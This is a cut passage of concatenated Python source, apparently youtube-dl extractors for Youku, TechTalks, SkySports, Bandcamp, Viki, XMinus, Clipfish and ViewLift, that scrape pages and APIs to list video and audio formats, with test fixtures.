        return '%d%s' % (int(time.time()), ''.join([
            random.choice(string.ascii_letters) for i in range(3)]))

    def get_hd(self, fm):
        hd_id_dict = {
            '3gp': '0',
            '3gphd': '1',
            'flv': '0',
            'flvhd': '0',
            'mp4': '1',
            'mp4hd': '1',
            'mp4hd2': '1',
            'mp4hd3': '1',
            'hd2': '2',
            'hd3': '3',
        }
        return hd_id_dict[fm]

    def parse_ext_l(self, fm):
        ext_dict = {
            '3gp': 'flv',
            '3gphd': 'mp4',
            'flv': 'flv',
            'flvhd': 'flv',
            'mp4': 'mp4',
            'mp4hd': 'mp4',
            'mp4hd2': 'flv',
            'mp4hd3': 'flv',
            'hd2': 'flv',
            'hd3': 'flv',
        }
        return ext_dict[fm]

    def get_format_name(self, fm):
        _dict = {
            '3gp': 'h6',
            '3gphd': 'h5',
            'flv': 'h4',
            'flvhd': 'h4',
            'mp4': 'h3',
            'mp4hd': 'h3',
            'mp4hd2': 'h4',
            'mp4hd3': 'h4',
            'hd2': 'h2',
            'hd3': 'h1',
        }
        return _dict[fm]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        self._set_cookie('youku.com', '__ysuid', self.get_ysuid())

        def retrieve_data(req_url, note):
            headers = {
                'Referer': req_url,
            }
            headers.update(self.geo_verification_headers())
            self._set_cookie('youku.com', 'xreferrer', 'http://www.youku.com')

            raw_data = self._download_json(req_url, video_id, note=note, headers=headers)

            return raw_data['data']

        video_password = self._downloader.params.get('videopassword')

        # request basic data
        basic_data_url = 'http://play.youku.com/play/get.json?vid=%s&ct=12' % video_id
        if video_password:
            basic_data_url += '&pwd=%s' % video_password

        data = retrieve_data(basic_data_url, 'Downloading JSON metadata')

        error = data.get('error')
        if error:
            error_note = error.get('note')
            if error_note is not None and '因版权原因无法观看此视频' in error_note:
                raise ExtractorError(
                    'Youku said: Sorry, this video is available in China only', expected=True)
            elif error_note and '该视频被设为私密' in error_note:
                raise ExtractorError(
                    'Youku said: Sorry, this video is private', expected=True)
            else:
                msg = 'Youku server reported error %i' % error.get('code')
                if error_note is not None:
                    msg += ': ' + error_note
                raise ExtractorError(msg)

        # get video title
        title = data['video']['title']

        # generate video_urls_dict
        video_urls_dict = self.construct_video_urls(data)

        # construct info
        entries = [{
            'id': '%s_part%d' % (video_id, i + 1),
            'title': title,
            'formats': [],
            # some formats are not available for all parts, we have to detect
            # which one has all
        } for i in range(max(len(v.get('segs')) for v in data['stream']))]
        for stream in data['stream']:
            if stream.get('channel_type') == 'tail':
                continue
            fm = stream.get('stream_type')
            video_urls = video_urls_dict[fm]
            for video_url, seg, entry in zip(video_urls, stream['segs'], entries):
                entry['formats'].append({
                    'url': video_url,
                    'format_id': self.get_format_name(fm),
                    'ext': self.parse_ext_l(fm),
                    'filesize': int(seg['size']),
                    'width': stream.get('width'),
                    'height': stream.get('height'),
                })

        return {
            '_type': 'multi_video',
            'id': video_id,
            'title': title,
            'entries': entries,
        }


class YoukuShowIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?youku\.com/show_page/id_(?P<id>[0-9a-z]+)\.html'
    IE_NAME = 'youku:show'

    _TEST = {
        'url': 'http://www.youku.com/show_page/id_zc7c670be07ff11e48b3f.html',
        'info_dict': {
            'id': 'zc7c670be07ff11e48b3f',
            'title': '花千骨 未删减版',
            'description': 'md5:578d4f2145ae3f9128d9d4d863312910',
        },
        'playlist_count': 50,
    }

    _PAGE_SIZE = 40

    def _find_videos_in_page(self, webpage):
        videos = re.findall(
            r'<li><a[^>]+href="(?P<url>https?://v\.youku\.com/[^"]+)"[^>]+title="(?P<title>[^"]+)"', webpage)
        return [
            self.url_result(video_url, YoukuIE.ie_key(), title)
            for video_url, title in videos]

    def _real_extract(self, url):
        show_id = self._match_id(url)
        webpage = self._download_webpage(url, show_id)

        entries = self._find_videos_in_page(webpage)

        playlist_title = self._html_search_regex(
            r'<span[^>]+class="name">([^<]+)</span>', webpage, 'playlist title', fatal=False)
        detail_div = get_element_by_attribute('class', 'detail', webpage) or ''
        playlist_description = self._html_search_regex(
            r'<span[^>]+style="display:none"[^>]*>([^<]+)</span>',
            detail_div, 'playlist description', fatal=False)

        for idx in itertools.count(1):
            episodes_page = self._download_webpage(
                'http://www.youku.com/show_episode/id_%s.html' % show_id,
                show_id, query={'divid': 'reload_%d' % (idx * self._PAGE_SIZE + 1)},
                note='Downloading episodes page %d' % idx)
            new_entries = self._find_videos_in_page(episodes_page)
            entries.extend(new_entries)
            if len(new_entries) < self._PAGE_SIZE:
                break

        return self.playlist_result(entries, show_id, playlist_title, playlist_description)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    get_element_by_attribute,
    clean_html,
)


class TechTalksIE(InfoExtractor):
    _VALID_URL = r'https?://techtalks\.tv/talks/[^/]*/(?P<id>\d+)/'

    _TEST = {
        'url': 'http://techtalks.tv/talks/learning-topic-models-going-beyond-svd/57758/',
        'info_dict': {
            'id': '57758',
            'title': 'Learning Topic Models --- Going beyond SVD',
        },
        'playlist': [
            {
                'info_dict': {
                    'id': '57758',
                    'ext': 'flv',
                    'title': 'Learning Topic Models --- Going beyond SVD',
                },
            },
            {
                'info_dict': {
                    'id': '57758-slides',
                    'ext': 'flv',
                    'title': 'Learning Topic Models --- Going beyond SVD',
                },
            },
        ],
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        talk_id = mobj.group('id')
        webpage = self._download_webpage(url, talk_id)
        rtmp_url = self._search_regex(
            r'netConnectionUrl: \'(.*?)\'', webpage, 'rtmp url')
        play_path = self._search_regex(
            r'href=\'(.*?)\' [^>]*id="flowplayer_presenter"',
            webpage, 'presenter play path')
        title = clean_html(get_element_by_attribute('class', 'title', webpage))
        video_info = {
            'id': talk_id,
            'title': title,
            'url': rtmp_url,
            'play_path': play_path,
            'ext': 'flv',
        }
        m_slides = re.search(r'<a class="slides" href=\'(.*?)\'', webpage)
        if m_slides is None:
            return video_info
        else:
            return {
                '_type': 'playlist',
                'id': talk_id,
                'title': title,
                'entries': [
                    video_info,
                    # The slides video
                    {
                        'id': talk_id + '-slides',
                        'title': title,
                        'url': rtmp_url,
                        'play_path': m_slides.group(1),
                        'ext': 'flv',
                    },
                ],
            }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class SkySportsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?skysports\.com/watch/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.skysports.com/watch/video/10328419/bale-its-our-time-to-shine',
        'md5': 'c44a1db29f27daf9a0003e010af82100',
        'info_dict': {
            'id': '10328419',
            'ext': 'flv',
            'title': 'Bale: Its our time to shine',
            'description': 'md5:9fd1de3614d525f5addda32ac3c482c9',
        },
        'add_ie': ['Ooyala'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': 'ooyala:%s' % self._search_regex(
                r'data-video-id="([^"]+)"', webpage, 'ooyala id'),
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
            'ie_key': 'Ooyala',
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
)


class BandcampIE(InfoExtractor):
    _VALID_URL = r'https?://.*?\.bandcamp\.com/track/(?P<title>.*)'
    _TESTS = [{
        'url': 'http://youtube-dl.bandcamp.com/track/youtube-dl-test-song',
        'md5': 'c557841d5e50261777a6585648adf439',
        'info_dict': {
            'id': '1812978515',
            'ext': 'mp3',
            'title': "youtube-dl  \"'/\\\u00e4\u21ad - youtube-dl test song \"'/\\\u00e4\u21ad",
            'duration': 9.8485,
        },
        '_skip': 'There is a limit of 200 free downloads / month for the test song'
    }, {
        'url': 'http://benprunty.bandcamp.com/track/lanius-battle',
        'md5': '73d0b3171568232574e45652f8720b5c',
        'info_dict': {
            'id': '2650410135',
            'ext': 'mp3',
            'title': 'Lanius (Battle)',
            'uploader': 'Ben Prunty Music',
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        title = mobj.group('title')
        webpage = self._download_webpage(url, title)
        m_download = re.search(r'freeDownloadPage: "(.*?)"', webpage)
        if not m_download:
            m_trackinfo = re.search(r'trackinfo: (.+),\s*?\n', webpage)
            if m_trackinfo:
                json_code = m_trackinfo.group(1)
                data = json.loads(json_code)[0]
                track_id = compat_str(data['id'])

                if not data.get('file'):
                    raise ExtractorError('Not streamable', video_id=track_id, expected=True)

                formats = []
                for format_id, format_url in data['file'].items():
                    ext, abr_str = format_id.split('-', 1)
                    formats.append({
                        'format_id': format_id,
                        'url': self._proto_relative_url(format_url, 'http:'),
                        'ext': ext,
                        'vcodec': 'none',
                        'acodec': ext,
                        'abr': int_or_none(abr_str),
                    })

                self._sort_formats(formats)

                return {
                    'id': track_id,
                    'title': data['title'],
                    'formats': formats,
                    'duration': float_or_none(data.get('duration')),
                }
            else:
                raise ExtractorError('No free songs found')

        download_link = m_download.group(1)
        video_id = self._search_regex(
            r'(?ms)var TralbumData = .*?[{,]\s*id: (?P<id>\d+),?$',
            webpage, 'video id')

        download_webpage = self._download_webpage(download_link, video_id, 'Downloading free downloads page')
        # We get the dictionary of the track from some javascript code
        all_info = self._parse_json(self._search_regex(
            r'(?sm)items: (.*?),$', download_webpage, 'items'), video_id)
        info = all_info[0]
        # We pick mp3-320 for now, until format selection can be easily implemented.
        mp3_info = info['downloads']['mp3-320']
        # If we try to use this url it says the link has expired
        initial_url = mp3_info['url']
        m_url = re.match(
            r'(?P<server>http://(.*?)\.bandcamp\.com)/download/track\?enc=mp3-320&fsig=(?P<fsig>.*?)&id=(?P<id>.*?)&ts=(?P<ts>.*)$',
            initial_url)
        # We build the url we will use to get the final track url
        # This url is build in Bandcamp in the script download_bunde_*.js
        request_url = '%s/statdownload/track?enc=mp3-320&fsig=%s&id=%s&ts=%s&.rand=665028774616&.vrs=1' % (m_url.group('server'), m_url.group('fsig'), video_id, m_url.group('ts'))
        final_url_webpage = self._download_webpage(request_url, video_id, 'Requesting download url')
        # If we could correctly generate the .rand field the url would be
        # in the "download_url" key
        final_url = self._proto_relative_url(self._search_regex(
            r'"retry_url":"(.+?)"', final_url_webpage, 'final video URL'), 'http:')

        return {
            'id': video_id,
            'title': info['title'],
            'ext': 'mp3',
            'vcodec': 'none',
            'url': final_url,
            'thumbnail': info.get('thumb_url'),
            'uploader': info.get('artist'),
        }


class BandcampAlbumIE(InfoExtractor):
    IE_NAME = 'Bandcamp:album'
    _VALID_URL = r'https?://(?:(?P<subdomain>[^.]+)\.)?bandcamp\.com(?:/album/(?P<album_id>[^?#]+)|/?(?:$|[?#]))'

    _TESTS = [{
        'url': 'http://blazo.bandcamp.com/album/jazz-format-mixtape-vol-1',
        'playlist': [
            {
                'md5': '39bc1eded3476e927c724321ddf116cf',
                'info_dict': {
                    'id': '1353101989',
                    'ext': 'mp3',
                    'title': 'Intro',
                }
            },
            {
                'md5': '1a2c32e2691474643e912cc6cd4bffaa',
                'info_dict': {
                    'id': '38097443',
                    'ext': 'mp3',
                    'title': 'Kero One - Keep It Alive (Blazo remix)',
                }
            },
        ],
        'info_dict': {
            'title': 'Jazz Format Mixtape vol.1',
            'id': 'jazz-format-mixtape-vol-1',
            'uploader_id': 'blazo',
        },
        'params': {
            'playlistend': 2
        },
        'skip': 'Bandcamp imposes download limits.'
    }, {
        'url': 'http://nightbringer.bandcamp.com/album/hierophany-of-the-open-grave',
        'info_dict': {
            'title': 'Hierophany of the Open Grave',
            'uploader_id': 'nightbringer',
            'id': 'hierophany-of-the-open-grave',
        },
        'playlist_mincount': 9,
    }, {
        'url': 'http://dotscale.bandcamp.com',
        'info_dict': {
            'title': 'Loom',
            'id': 'dotscale',
            'uploader_id': 'dotscale',
        },
        'playlist_mincount': 7,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        uploader_id = mobj.group('subdomain')
        album_id = mobj.group('album_id')
        playlist_id = album_id or uploader_id
        webpage = self._download_webpage(url, playlist_id)
        tracks_paths = re.findall(r'<a href="(.*?)" itemprop="url">', webpage)
        if not tracks_paths:
            raise ExtractorError('The page doesn\'t contain any tracks')
        entries = [
            self.url_result(compat_urlparse.urljoin(url, t_path), ie=BandcampIE.ie_key())
            for t_path in tracks_paths]
        title = self._search_regex(
            r'album_title\s*:\s*"(.*?)"', webpage, 'title', fatal=False)
        return {
            '_type': 'playlist',
            'uploader_id': uploader_id,
            'id': playlist_id,
            'title': title,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import time
import hmac
import hashlib
import itertools

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_age_limit,
    parse_iso8601,
    sanitized_Request,
)


class VikiBaseIE(InfoExtractor):
    _VALID_URL_BASE = r'https?://(?:www\.)?viki\.(?:com|net|mx|jp|fr)/'
    _API_QUERY_TEMPLATE = '/v4/%sapp=%s&t=%s&site=www.viki.com'
    _API_URL_TEMPLATE = 'http://api.viki.io%s&sig=%s'

    _APP = '65535a'
    _APP_VERSION = '2.2.5.1428709186'
    _APP_SECRET = '-$iJ}@p7!G@SyU/je1bEyWg}upLu-6V6-Lg9VD(]siH,r.,m-r|ulZ,U4LC/SeR)'

    _NETRC_MACHINE = 'viki'

    _token = None

    _ERRORS = {
        'geo': 'Sorry, this content is not available in your region.',
        'upcoming': 'Sorry, this content is not yet available.',
        # 'paywall': 'paywall',
    }

    def _prepare_call(self, path, timestamp=None, post_data=None):
        path += '?' if '?' not in path else '&'
        if not timestamp:
            timestamp = int(time.time())
        query = self._API_QUERY_TEMPLATE % (path, self._APP, timestamp)
        if self._token:
            query += '&token=%s' % self._token
        sig = hmac.new(
            self._APP_SECRET.encode('ascii'),
            query.encode('ascii'),
            hashlib.sha1
        ).hexdigest()
        url = self._API_URL_TEMPLATE % (query, sig)
        return sanitized_Request(
            url, json.dumps(post_data).encode('utf-8')) if post_data else url

    def _call_api(self, path, video_id, note, timestamp=None, post_data=None):
        resp = self._download_json(
            self._prepare_call(path, timestamp, post_data), video_id, note)

        error = resp.get('error')
        if error:
            if error == 'invalid timestamp':
                resp = self._download_json(
                    self._prepare_call(path, int(resp['current_timestamp']), post_data),
                    video_id, '%s (retry)' % note)
                error = resp.get('error')
            if error:
                self._raise_error(resp['error'])

        return resp

    def _raise_error(self, error):
        raise ExtractorError(
            '%s returned error: %s' % (self.IE_NAME, error),
            expected=True)

    def _check_errors(self, data):
        for reason, status in data.get('blocking', {}).items():
            if status and reason in self._ERRORS:
                raise ExtractorError('%s said: %s' % (
                    self.IE_NAME, self._ERRORS[reason]), expected=True)

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'login_id': username,
            'password': password,
        }

        login = self._call_api(
            'sessions.json', None,
            'Logging in as %s' % username, post_data=login_form)

        self._token = login.get('token')
        if not self._token:
            self.report_warning('Unable to get session token, login has probably failed')

    @staticmethod
    def dict_selection(dict_obj, preferred_key, allow_fallback=True):
        if preferred_key in dict_obj:
            return dict_obj.get(preferred_key)

        if not allow_fallback:
            return

        filtered_dict = list(filter(None, [dict_obj.get(k) for k in dict_obj.keys()]))
        return filtered_dict[0] if filtered_dict else None


class VikiIE(VikiBaseIE):
    IE_NAME = 'viki'
    _VALID_URL = r'%s(?:videos|player)/(?P<id>[0-9]+v)' % VikiBaseIE._VALID_URL_BASE
    _TESTS = [{
        'url': 'http://www.viki.com/videos/1023585v-heirs-episode-14',
        'info_dict': {
            'id': '1023585v',
            'ext': 'mp4',
            'title': 'Heirs Episode 14',
            'uploader': 'SBS',
            'description': 'md5:c4b17b9626dd4b143dcc4d855ba3474e',
            'upload_date': '20131121',
            'age_limit': 13,
        },
        'skip': 'Blocked in the US',
    }, {
        # clip
        'url': 'http://www.viki.com/videos/1067139v-the-avengers-age-of-ultron-press-conference',
        'md5': '86c0b5dbd4d83a6611a79987cc7a1989',
        'info_dict': {
            'id': '1067139v',
            'ext': 'mp4',
            'title': "'The Avengers: Age of Ultron' Press Conference",
            'description': 'md5:d70b2f9428f5488321bfe1db10d612ea',
            'duration': 352,
            'timestamp': 1430380829,
            'upload_date': '20150430',
            'uploader': 'Arirang TV',
            'like_count': int,
            'age_limit': 0,
        }
    }, {
        'url': 'http://www.viki.com/videos/1048879v-ankhon-dekhi',
        'info_dict': {
            'id': '1048879v',
            'ext': 'mp4',
            'title': 'Ankhon Dekhi',
            'duration': 6512,
            'timestamp': 1408532356,
            'upload_date': '20140820',
            'uploader': 'Spuul',
            'like_count': int,
            'age_limit': 13,
        },
        'skip': 'Blocked in the US',
    }, {
        # episode
        'url': 'http://www.viki.com/videos/44699v-boys-over-flowers-episode-1',
        'md5': '5fa476a902e902783ac7a4d615cdbc7a',
        'info_dict': {
            'id': '44699v',
            'ext': 'mp4',
            'title': 'Boys Over Flowers - Episode 1',
            'description': 'md5:b89cf50038b480b88b5b3c93589a9076',
            'duration': 4204,
            'timestamp': 1270496524,
            'upload_date': '20100405',
            'uploader': 'group8',
            'like_count': int,
            'age_limit': 13,
        }
    }, {
        # youtube external
        'url': 'http://www.viki.com/videos/50562v-poor-nastya-complete-episode-1',
        'md5': '63f8600c1da6f01b7640eee7eca4f1da',
        'info_dict': {
            'id': '50562v',
            'ext': 'webm',
            'title': 'Poor Nastya [COMPLETE] - Episode 1',
            'description': '',
            'duration': 606,
            'timestamp': 1274949505,
            'upload_date': '20101213',
            'uploader': 'ad14065n',
            'uploader_id': 'ad14065n',
            'like_count': int,
            'age_limit': 13,
        }
    }, {
        'url': 'http://www.viki.com/player/44699v',
        'only_matching': True,
    }, {
        # non-English description
        'url': 'http://www.viki.com/videos/158036v-love-in-magic',
        'md5': '1713ae35df5a521b31f6dc40730e7c9c',
        'info_dict': {
            'id': '158036v',
            'ext': 'mp4',
            'uploader': 'I Planet Entertainment',
            'upload_date': '20111122',
            'timestamp': 1321985454,
            'description': 'md5:44b1e46619df3a072294645c770cef36',
            'title': 'Love In Magic',
            'age_limit': 13,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._call_api(
            'videos/%s.json' % video_id, video_id, 'Downloading video JSON')

        self._check_errors(video)

        title = self.dict_selection(video.get('titles', {}), 'en', allow_fallback=False)
        if not title:
            title = 'Episode %d' % video.get('number') if video.get('type') == 'episode' else video.get('id') or video_id
            container_titles = video.get('container', {}).get('titles', {})
            container_title = self.dict_selection(container_titles, 'en')
            title = '%s - %s' % (container_title, title)

        description = self.dict_selection(video.get('descriptions', {}), 'en')

        duration = int_or_none(video.get('duration'))
        timestamp = parse_iso8601(video.get('created_at'))
        uploader = video.get('author')
        like_count = int_or_none(video.get('likes', {}).get('count'))
        age_limit = parse_age_limit(video.get('rating'))

        thumbnails = []
        for thumbnail_id, thumbnail in video.get('images', {}).items():
            thumbnails.append({
                'id': thumbnail_id,
                'url': thumbnail.get('url'),
            })

        subtitles = {}
        for subtitle_lang, _ in video.get('subtitle_completions', {}).items():
            subtitles[subtitle_lang] = [{
                'ext': subtitles_format,
                'url': self._prepare_call(
                    'videos/%s/subtitles/%s.%s' % (video_id, subtitle_lang, subtitles_format)),
            } for subtitles_format in ('srt', 'vtt')]

        result = {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'uploader': uploader,
            'like_count': like_count,
            'age_limit': age_limit,
            'thumbnails': thumbnails,
            'subtitles': subtitles,
        }

        streams = self._call_api(
            'videos/%s/streams.json' % video_id, video_id,
            'Downloading video streams JSON')

        if 'external' in streams:
            result.update({
                '_type': 'url_transparent',
                'url': streams['external']['url'],
            })
            return result

        formats = []
        for format_id, stream_dict in streams.items():
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]$', format_id, 'height', default=None))
            for protocol, format_dict in stream_dict.items():
                if format_id == 'm3u8':
                    m3u8_formats = self._extract_m3u8_formats(
                        format_dict['url'], video_id, 'mp4',
                        entry_protocol='m3u8_native', preference=-1,
                        m3u8_id='m3u8-%s' % protocol, fatal=False)
                    # Despite CODECS metadata in m3u8 all video-only formats
                    # are actually video+audio
                    for f in m3u8_formats:
                        if f.get('acodec') == 'none' and f.get('vcodec') != 'none':
                            f['acodec'] = None
                    formats.extend(m3u8_formats)
                else:
                    formats.append({
                        'url': format_dict['url'],
                        'format_id': '%s-%s' % (format_id, protocol),
                        'height': height,
                    })
        self._sort_formats(formats)

        result['formats'] = formats
        return result


class VikiChannelIE(VikiBaseIE):
    IE_NAME = 'viki:channel'
    _VALID_URL = r'%s(?:tv|news|movies|artists)/(?P<id>[0-9]+c)' % VikiBaseIE._VALID_URL_BASE
    _TESTS = [{
        'url': 'http://www.viki.com/tv/50c-boys-over-flowers',
        'info_dict': {
            'id': '50c',
            'title': 'Boys Over Flowers',
            'description': 'md5:ecd3cff47967fe193cff37c0bec52790',
        },
        'playlist_mincount': 71,
    }, {
        'url': 'http://www.viki.com/tv/1354c-poor-nastya-complete',
        'info_dict': {
            'id': '1354c',
            'title': 'Poor Nastya [COMPLETE]',
            'description': 'md5:05bf5471385aa8b21c18ad450e350525',
        },
        'playlist_count': 127,
    }, {
        'url': 'http://www.viki.com/news/24569c-showbiz-korea',
        'only_matching': True,
    }, {
        'url': 'http://www.viki.com/movies/22047c-pride-and-prejudice-2005',
        'only_matching': True,
    }, {
        'url': 'http://www.viki.com/artists/2141c-shinee',
        'only_matching': True,
    }]

    _PER_PAGE = 25

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        channel = self._call_api(
            'containers/%s.json' % channel_id, channel_id,
            'Downloading channel JSON')

        self._check_errors(channel)

        title = self.dict_selection(channel['titles'], 'en')

        description = self.dict_selection(channel['descriptions'], 'en')

        entries = []
        for video_type in ('episodes', 'clips', 'movies'):
            for page_num in itertools.count(1):
                page = self._call_api(
                    'containers/%s/%s.json?per_page=%d&sort=number&direction=asc&with_paging=true&page=%d'
                    % (channel_id, video_type, self._PER_PAGE, page_num), channel_id,
                    'Downloading %s JSON page #%d' % (video_type, page_num))
                for video in page['response']:
                    video_id = video['id']
                    entries.append(self.url_result(
                        'http://www.viki.com/videos/%s' % video_id, 'Viki'))
                if not page['pagination']['next']:
                    break

        return self.playlist_result(entries, channel_id, title, description)






# coding: utf-8
from __future__ import unicode_literals

import re
import time

from .common import InfoExtractor
from ..compat import (
    compat_ord,
)
from ..utils import (
    int_or_none,
    parse_duration,
)


class XMinusIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?x-minus\.org/track/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://x-minus.org/track/4542/%D0%BF%D0%B5%D1%81%D0%B5%D0%BD%D0%BA%D0%B0-%D1%88%D0%BE%D1%84%D0%B5%D1%80%D0%B0.html',
        'md5': '401a15f2d2dcf6d592cb95528d72a2a8',
        'info_dict': {
            'id': '4542',
            'ext': 'mp3',
            'title': 'Леонид Агутин-Песенка шофёра',
            'duration': 156,
            'tbr': 320,
            'filesize_approx': 5900000,
            'view_count': int,
            'description': 'md5:03238c5b663810bc79cf42ef3c03e371',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        artist = self._html_search_regex(
            r'<a[^>]+href="/artist/\d+">([^<]+)</a>', webpage, 'artist')
        title = artist + '-' + self._html_search_regex(
            r'<span[^>]+class="minustrack-full-title(?:\s+[^"]+)?"[^>]*>([^<]+)', webpage, 'title')
        duration = parse_duration(self._html_search_regex(
            r'<span[^>]+class="player-duration(?:\s+[^"]+)?"[^>]*>([^<]+)',
            webpage, 'duration', fatal=False))
        mobj = re.search(
            r'<div[^>]+class="dw-info(?:\s+[^"]+)?"[^>]*>(?P<tbr>\d+)\s*кбит/c\s+(?P<filesize>[0-9.]+)\s*мб</div>',
            webpage)
        tbr = filesize_approx = None
        if mobj:
            filesize_approx = float(mobj.group('filesize')) * 1000000
            tbr = float(mobj.group('tbr'))
        view_count = int_or_none(self._html_search_regex(
            r'<span><[^>]+class="icon-chart-bar".*?>(\d+)</span>',
            webpage, 'view count', fatal=False))
        description = self._html_search_regex(
            r'(?s)<pre[^>]+id="lyrics-original"[^>]*>(.*?)</pre>',
            webpage, 'song lyrics', fatal=False)
        if description:
            description = re.sub(' *\r *', '\n', description)

        k = self._search_regex(
            r'<div[^>]+id="player-bottom"[^>]+data-k="([^"]+)">', webpage,
            'encoded data')
        h = time.time() / 3600
        a = sum(map(int, [compat_ord(c) for c in k])) + int(video_id) + h
        video_url = 'http://x-minus.me/dl/minus?id=%s&tkn2=%df%d' % (video_id, a, h)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            # The extension is unknown until actual downloading
            'ext': 'mp3',
            'duration': duration,
            'filesize_approx': filesize_approx,
            'tbr': tbr,
            'view_count': view_count,
            'description': description,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)


class ClipfishIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?clipfish\.de/(?:[^/]+/)+video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.clipfish.de/special/game-trailer/video/3966754/fifa-14-e3-2013-trailer/',
        'md5': '79bc922f3e8a9097b3d68a93780fd475',
        'info_dict': {
            'id': '3966754',
            'ext': 'mp4',
            'title': 'FIFA 14 - E3 2013 Trailer',
            'description': 'Video zu FIFA 14: E3 2013 Trailer',
            'upload_date': '20130611',
            'duration': 82,
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_info = self._download_json(
            'http://www.clipfish.de/devapi/id/%s?format=json&apikey=hbbtv' % video_id,
            video_id)['items'][0]

        formats = []

        m3u8_url = video_info.get('media_videourl_hls')
        if m3u8_url:
            formats.append({
                'url': m3u8_url.replace('de.hls.fra.clipfish.de', 'hls.fra.clipfish.de'),
                'ext': 'mp4',
                'format_id': 'hls',
            })

        mp4_url = video_info.get('media_videourl')
        if mp4_url:
            formats.append({
                'url': mp4_url,
                'format_id': 'mp4',
                'width': int_or_none(video_info.get('width')),
                'height': int_or_none(video_info.get('height')),
                'tbr': int_or_none(video_info.get('bitrate')),
            })

        return {
            'id': video_id,
            'title': video_info['title'],
            'description': video_info.get('descr'),
            'formats': formats,
            'thumbnail': video_info.get('media_content_thumbnail_large') or video_info.get('media_thumbnail'),
            'duration': int_or_none(video_info.get('media_length')),
            'upload_date': unified_strdate(video_info.get('pubDate')),
            'view_count': int_or_none(video_info.get('media_views'))
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    clean_html,
    determine_ext,
    int_or_none,
    js_to_json,
    parse_duration,
)


class ViewLiftBaseIE(InfoExtractor):
    _DOMAINS_REGEX = '(?:snagfilms|snagxtreme|funnyforfree|kiddovid|winnersview|monumentalsportsnetwork|vayafilm)\.com|kesari\.tv'


class ViewLiftEmbedIE(ViewLiftBaseIE):
    _VALID_URL = r'https?://(?:(?:www|embed)\.)?(?:%s)/embed/player\?.*\bfilmId=(?P<id>[\da-f-]{36})' % ViewLiftBaseIE._DOMAINS_REGEX
    _TESTS = [{
        'url': 'http://embed.snagfilms.com/embed/player?filmId=74849a00-85a9-11e1-9660-123139220831&w=500',
        'md5': '2924e9215c6eff7a55ed35b72276bd93',
        'info_dict': {
            'id': '74849a00-85a9-11e1-9660-123139220831',
            'ext': 'mp4',
            'title': '#whilewewatch',
        }
    }, {
        # invalid labels, 360p is better that 480p
        'url': 'http://www.snagfilms.com/embed/player?filmId=17ca0950-a74a-11e0-a92a-0026bb61d036',
        'md5': '882fca19b9eb27ef865efeeaed376a48',
        'info_dict': {
            'id': '17ca0950-a74a-11e0-a92a-0026bb61d036',
            'ext': 'mp4',
            'title': 'Life in Limbo',
        }
    }, {
        'url': 'http://www.snagfilms.com/embed/player?filmId=0000014c-de2f-d5d6-abcf-ffef58af0017',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:embed\.)?(?:%s)/embed/player.+?)\1' % ViewLiftBaseIE._DOMAINS_REGEX,
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        if '>This film is not playable in your area.<' in webpage:
            raise ExtractorError(
                'Film %s is not playable in your area.' % video_id, expected=True)

        formats = []
        has_bitrate = False
        for source in self._parse_json(js_to_json(self._search_regex(
                r'(?s)sources:\s*(\[.+?\]),', webpage, 'json')), video_id):
            file_ = source.get('file')
            if not file_:
                continue
            type_ = source.get('type')
            ext = determine_ext(file_)
            format_id = source.get('label') or ext
            if all(v == 'm3u8' or v == 'hls' for v in (type_, ext)):
                formats.extend(self._extract_m3u8_formats(
                    file_, video_id, 'mp4', m3u8_id='hls'))
            else:
                bitrate = int_or_none(self._search_regex(
                    [r'(\d+)kbps', r'_\d{1,2}x\d{1,2}_(\d{3,})\.%s' % ext],
                    file_, 'bitrate', default=None))
                if not has_bitrate and bitrate:
                    has_bitrate = True
                height = int_or_none(self._search_regex(
                    r'^(\d+)[pP]$', format_id, 'height', default=None))
                formats.append({
                    'url': file_,
                    'format_id': 'http-%s%s' % (format_id, ('-%dk' % bitrate if bitrate else '')),
                    'tbr': bitrate,
                    'height': height,
                })
        field_preference = None if has_bitrate else ('height', 'tbr', 'format_id')
        self._sort_formats(formats, field_preference)

        title = self._search_regex(
            [r"title\s*:\s*'([^']+)'", r'<title>([^<]+)</title>'],
            webpage, 'title')

        return {
